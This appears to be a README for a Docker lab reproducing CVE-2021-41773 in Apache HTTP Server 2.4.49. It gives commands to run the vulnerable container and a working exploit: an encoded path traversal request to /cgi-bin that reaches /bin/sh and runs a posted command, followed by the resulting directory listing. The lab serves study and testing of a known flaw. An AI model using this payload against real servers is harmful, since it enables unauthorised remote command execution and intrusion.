Path traversal vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
For educational purposes only
Option 1: From GitHub Container Registry
$ docker run --rm -dit -p 8000:80 ghcr.io/hbertsch/cve-2021-41773$ docker build -t cve-2021-41773 .
$ docker run --rm -dit -p 8000:80 cve-2021-41773Check whether the server is running
$ curl http://localhost:8000
# Result
<html><body><h1>It works!</h1></body></html>Send any command you want like this:
$curl 'http://127.0.0.1:8000/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;ls'
# Result
bash
cat
chgrp
chmod
chown
cp
dash
date
dd
df
dir
dmesg
dnsdomainname
domainname
echo
egrep
false
fgrep
findmnt
grep
gunzip
gzexe
gzip
hostname
ln
login
...